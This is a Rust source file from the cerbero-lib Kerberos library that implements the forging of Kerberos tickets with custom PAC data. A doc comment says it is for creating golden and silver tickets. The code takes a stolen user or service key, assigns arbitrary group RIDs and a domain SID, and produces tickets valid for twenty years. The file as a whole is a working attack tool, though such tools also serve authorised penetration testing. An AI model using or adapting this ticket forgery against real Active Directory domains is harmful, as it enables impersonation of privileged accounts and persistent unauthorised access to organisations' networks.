cerbero-lib 0.1.1

use crate::{
	core::{new_nt_principal, new_principal_or_srv_inst, new_signed_pac, Cipher, TicketCred},
	KrbUser,
};
use chrono::{Duration, Utc};
use kerberos_asn1::{
	Asn1Object, AuthorizationDataEntry, EncTicketPart, EncryptedData, EncryptionKey, KerberosTime, KrbCredInfo,
	PrincipalName, Realm, Ticket, TransitedEncoding,
};
use kerberos_constants::{ad_types, key_usages, principal_names, ticket_flags};
use kerberos_crypto::Key;
use ms_dtyp::FILETIME;
use ms_pac::PISID;

/// Creates a pair Ticket/KrbCredInfo with a custom PAC structure
/// To create golden/silver tickets ;)
pub fn craft_ticket_info(user: KrbUser,
                         service: Option<String>,
                         user_key: Key,
                         user_rid: u32,
                         domain_sid: PISID,
                         groups: &[u32],
                         etype: Option<i32>)
                         -> TicketCred
{
	let cipher = Cipher::generate(&user_key, &user, etype, None);
	let session_key = random_key(cipher.etype());
	let spn = service.unwrap_or(format!("krbtgt/{}", &user.realm));
	let sname = new_principal_or_srv_inst(&spn, &user.realm);
	let now = Utc::now();
	let expiration_time = now.checked_add_signed(Duration::weeks(20 * 52)).unwrap();

	let mut tkt_flags =
		ticket_flags::FORWARDABLE | ticket_flags::PROXIABLE | ticket_flags::RENEWABLE | ticket_flags::PRE_AUTHENT;

	if sname.name_type == principal_names::NT_SRV_INST
	{
		tkt_flags |= ticket_flags::INITIAL;
	}

	let authtime: KerberosTime = now.into();
	let starttime: KerberosTime = now.into();
	let endtime: KerberosTime = expiration_time.into();
	let renew_till: KerberosTime = expiration_time.into();
	let cname = new_nt_principal(&user.name);
	let crealm = user.realm.clone();
	let srealm = user.realm;

	let krb_cred_info = KrbCredInfo { key: session_key.clone(),
	                                  prealm: Some(crealm.clone()),
	                                  pname: Some(cname.clone()),
	                                  flags: Some(tkt_flags.into()),
	                                  authtime: Some(authtime.clone()),
	                                  starttime: Some(starttime.clone()),
	                                  endtime: Some(endtime.clone()),
	                                  renew_till: Some(renew_till.clone()),
	                                  srealm: Some(srealm.clone()),
	                                  sname: Some(sname.clone()),
	                                  caddr: None };

	let ticket = craft_ticket(
	                          &user.name,
	                          user_rid,
	                          cname,
	                          crealm,
	                          domain_sid,
	                          groups,
	                          &cipher,
	                          tkt_flags,
	                          session_key,
	                          srealm,
	                          sname,
	                          authtime,
	                          starttime,
	                          endtime,
	                          renew_till,
	);

	TicketCred::new(ticket, krb_cred_info)
}

/// Creates a Ticket which contains a custom PAC structure
fn craft_ticket(username: &str,
                user_rid: u32,
                cname: PrincipalName,
                crealm: Realm,
                domain_sid: PISID,
                groups: &[u32],
                cipher: &Cipher,
                tkt_flags: u32,
                session_key: EncryptionKey,
                srealm: Realm,
                sname: PrincipalName,
                authtime: KerberosTime,
                starttime: KerberosTime,
                endtime: KerberosTime,
                renew_till: KerberosTime)
                -> Ticket
{
	let enc_ticket_part = craft_enc_ticket_part(
	                                            username,
	                                            user_rid,
	                                            cname,
	                                            crealm,
	                                            domain_sid,
	                                            groups,
	                                            cipher,
	                                            tkt_flags,
	                                            session_key,
	                                            authtime,
	                                            starttime,
	                                            endtime,
	                                            renew_till,
	);

	let enc_ticket_part_raw = enc_ticket_part.build();

	let encrypted_enc_ticket_part = cipher.encrypt(key_usages::KEY_USAGE_AS_REP_TICKET, &enc_ticket_part_raw);

	Ticket { tkt_vno: 5,
	         realm: srealm,
	         sname,
	         enc_part: EncryptedData::new(cipher.etype(), Some(1), encrypted_enc_ticket_part) }
}

/// Creates an EncTicketPart which contains a custom PAC structure
fn craft_enc_ticket_part(username: &str,
                         user_rid: u32,
                         cname: PrincipalName,
                         crealm: Realm,
                         domain_sid: PISID,
                         groups: &[u32],
                         cipher: &Cipher,
                         tkt_flags: u32,
                         session_key: EncryptionKey,
                         authtime: KerberosTime,
                         starttime: KerberosTime,
                         endtime: KerberosTime,
                         renew_till: KerberosTime)
                         -> EncTicketPart
{
	let signed_pac = new_signed_pac(
	                                username,
	                                user_rid,
	                                &crealm,
	                                domain_sid,
	                                groups,
	                                FILETIME::from_unix_timestamp(authtime.timestamp() as u64),
	                                cipher,
	);

	let raw_signed_pac = signed_pac.build();

	let ad_win = AuthorizationDataEntry { ad_type: ad_types::AD_WIN2K_PACK, ad_data: raw_signed_pac };

	let ad_relevant = AuthorizationDataEntry { ad_type: ad_types::AD_IF_RELEVANT, ad_data: vec![ad_win].build() };

	EncTicketPart { flags: tkt_flags.into(),
	                key: session_key,
	                crealm,
	                cname,
	                transited: TransitedEncoding::default(),
	                authtime,
	                starttime: Some(starttime),
	                endtime,
	                renew_till: Some(renew_till),
	                caddr: None,
	                authorization_data: Some(vec![ad_relevant]) }
}

fn random_key(etype: i32) -> EncryptionKey
{
	EncryptionKey { keytype: etype,
	                keyvalue: Key::random(etype).unwrap_or_else(|_| panic!("Unsupported etype {}", etype))
	                                            .as_bytes()
	                                            .to_vec() }
}